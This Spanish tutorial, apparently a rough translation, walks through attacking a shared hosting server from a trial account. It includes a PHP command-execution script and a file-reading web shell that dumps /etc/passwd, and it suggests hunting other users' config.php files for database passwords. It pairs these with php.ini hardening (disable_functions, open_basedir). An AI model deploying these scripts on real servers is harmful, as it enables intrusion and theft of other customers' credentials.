La cantidad de paginas web crece a increible velocidad .Internet es actualmente el mercado que mas rapido se expande .Cada empresa tiene su firma en internet que permite el acceso a mas clientes.Cada vez mas empresas decide dejar todos sus servicios en manos de internet.El matenimiento del propio server para una pagina www
es costoso,por eso la mayoria opta por dejar sus paginas web a empresas de hosting,que tienen servers profesionales que tienen conexion de alta velocidad.Puesto que la cantidad de clientes es enorme que aumenta dia a dia,las empresas del hosting deberian procuparse mucho por la seguridad .Sus servidores son los que mas ataques reciben de los hackers,puesto que romper la seguridad da acceso a varios gigabytes de util informacion.Por desgracia la seguridad a menudo se ve limitada por cuestiones financieras.
Objetivo
Nuestra principal tarea es obtener el acceso a ficticio server de hosting.El ataque seguira el ejemplo de muchas brechas en configuracion -partiendo de los mas sencillos a los que pocos conocen.
Como ataque satisfactorio consideraremos el poder leer el archivo de usuarios de sistema (/etc/passwd) y conocer la version de sistema con ayuda del comando uname -a
Un ataque satisfactorio al server ,sin acceso local es muy complicado pero no imposible .Por suerte las empresas de hosting dan un tiempo de prueba gratis que dura normalmente 14 dias .No compraremos al gato en el saco porsupesto.Despues de registrarnos sin gastar ni un centavo obtendremos una cuenta en el servidor que nos servira para atacar.Dos semanas deberian ser suficiente para efectuar el ataque.El tiempo de prueba normalmente tiene una configuracion minima.
Asumamos que en nuestro server ficticio tenemos solo el acceso a FTP Y WWW. Se nos abren entonces dos caminos para atacar,sin embargo tenemos en frente un servidor profesional que puede tener versiones actualizadas de programacion.
Entonces podemos descartar completamente el servidor FTP.No tiene elementos necesarios para poder atacar.Nos concentramos pues en servidor WWW que normalmente suele ser Apache :
http://www.apache.org
Servidor Apache y sus posibilidades
Apache es sin duda el mas popular servidor WWW .Permite hostear varias paginas ,y permite la carga de modulos es decir sus conexiones que le permiten aumentar su capacidad .El server WWW de por si no es un buen objetivo de ataque ,su codigo ha sido atacado en multiples ocasiones sin exito.Si existen en el brechas entonces son muy dificiles de detectar ,pero sus modulos pueden dar acceso a muchas funciones peligrosas .Usando los bien podemos activar cualquier programa bajo autoridad del server ,lo cual no deberia ser posible.Aparte de eso los modulos del server tienen acceso a su memoria que tambien puede ser engañoso.
Existen varios modulos ,siendo estandar en todos los servers de hosting ,permiten la creacion de interactivas paginas WWW.
Sin duda pertenecen a ellos PHP y CGI.
PHP
Gracias a este modulo,servidor devuelve codigo HTML en base de script escrito en lenguaje PHP.Este lenguaje esta usado en casi cualquier pagina WWW de gran tamaño.Sin embargo pocos saben que puede ser usado para obtener acceso a datos de servidor.
Peligrosas funciones de arranque
PHP posee funciones que permiten arrancar qualquier programa .Muchos administradores no sabe esto i deja la configuracion de modulo sin cambiar .Veremos pues como podemos usar 5 modos distintos de ejecutar programa
"uname -a"
<?php
define("CMD", "uname -a");
echo "exec():<br>"; echo exec(CMD);
echo "<br><br>system():<br>"; system(CMD);
echo "<br><br>passthru():<br>"; passthru(CMD);
echo "<br><br>shell_exec():<br>"; echo shell_exec(CMD);
echo "<br><br>popen():<br>"; $handle = popen(CMD, "r");
$read = fread($handle, 2096); echo $read;
pclose($handle);
Este script colocamos en nuestro servidor bajo nombre que queramos con expansion .php, y seguido lo ejecutamos (abriendo su pagina WWW. El resultado puede ser asi:
exec():
Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux
system():
Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux
passthru():
Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux
shell_exec():
Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux
popen():
Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux
Funciones system y passthru enseguida devuelven el resultado en la pantalla.
Funciones exec y shell_exec devuelven el resultado a cambiante la cual tendremos que imprimir .Popen() sin embargo crea un flujo del cual leemos el resultado.
Por suerte no existen muchos servers de hosting con un agujero semejante en la configuracion .puesto que los administradores suelen bloquear solo algunas funciones.Es un error ,dado que el hacker con facilidad puede arrancar qualquier programa bajo auditoria del servidor WWW y leer importantes archivos de configuracion que contienen por ejemplo -contraseñas de base de datos .
Esta funcion se puede bloquear introduciendo adecuado comando en archivo php.ini:
disable_functions = exec, system, passthru, shell_exec, popen
Ahora resetamos servidor Apache y miramos los resultados:
exec():
Warning: exec() has been disabled for security reasons in test.php on line 4
system():
Warning: system() has been disabled for security reasons in test.php on line 6
passthru():
Warning: passthru() has been disabled for security reasons in test.php on line 8
shell_exec():
Warning: shell_exec() has been disabled for security reasons in test.php on line 10
popen():
Warning: popen() has been disabled for security reasons in test.php on line 12
Bueno esta situacion ocurre amenudo en servidores profesionales .Pero porsupesto hay que seguir testeando.
Seguimiento de contenido en el catalogo y leer los archivos.
ahora no podemos arrancar el programa en el servidor dado que el administradora bloqueado las funciones peligrosas .Pero puede que consigamos leer curiosos archivos de configuracion.PHP contiene muchas funciones que permiten operaciones en archivos y en el catalogo de trabajo.Pensandolo bien podemos encender el archivo que esta por ejemplo en la carpeta /etc.Gracias a este script .
<?php
if(isset($_GET["dir"]))
{
$folder = opendir($_GET["dir"]);
while ($file = readdir($folder))
{
echo "$file <br>";
}
closedir($folder);
}
if(isset($_GET["file"]))
readfile($_GET["file"]);
?>
De principio miramos si esta ajustada la cambiante "dir" gracias a la funcion isset().
Si es asi abrimos el correspondiente catalogo i copiamos su contenido.
Seguido si cambiante "file" esta ajustada copiamos su contenido con funcion readfile().Vamos a comprobar que tal es en practica.
Copiamos pues el script al servidor y lo llamamos casualmente "test.php".
Seguido dirigimos los parametros en la dirreccion de la pagina:
http://serwer/test.php?dir=/home&file=/etc/passwd
El resultado puede ser este
.
..
services
users
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/account:
...
nombre:x:124:1000::/home/users/nombre:/bin/bash
nombre:x:125:1000::/home/users/nombre:/bin/bash
http:x:51:51:HTTP User:/home/services/httpd:/bin/false
mysql:x:89:89:MySQL Server:/home/services/mysql:/bin/sh
Como se ve ,obtenemos el contenido de catalogo /home y seguido el archivo /etc/passwd. Ahora podemos analizar catalogos de otros usuarios y buscar archivos tipo config.php.Contiene muchas veces la contraseña de la base de datos mysql,que con frecuencia es la misma para FTP.
Esto claramente no tendria que pasar,la solucion es la adecuada cofiguracion de PHP
- open_basedir.Permite limitar funciones de scripts PHP para catalogos concretos.
El comando en php.ini pudiera ser asi:
open_basedir = /home/users
reseteamos servidor Apache y comprobamos el efecto:
Warning: opendir() [function.opendir]: open_basedir restriction in effect.File(/home)is not within the allowed path(s): (/home/users/) in test.php on line 4
Warning: opendir(/home) [function.opendir]: failed to open dir : fuction restriction in test.php on line 4
Warning: readfile() [function.readfile]: open_basedir restriction in effect.File(/etc/passwd)is not within the allowed path(s): (/home/users/) in test.php on line 12
Warning: readfile(/etc/passwd) [function.readfile]: failed to open stream: function restriction in test.php on line 12
Segun lo previsto,no tengo acceso al archivo /etc/passwd y al catalogo /home.Nuestro acceso empieza en la carpeta /home/users y solo de el podemos leer archivos y analizar catalogos .Sin embargo mejor ajustar la opcion open_basedir para un usuario cada vez con la ayuda de php_admin_value en el archivo configurable de Apache
Con este metodo ya no podemos introducir comandos del sistema ,no podemos leer archivo principal de configuracion de sistema .En esto normalmente se termina la seguridad PHP de muchos servidores de hosting .por suerte existen metodos para rodear la cofiguracion no deseada.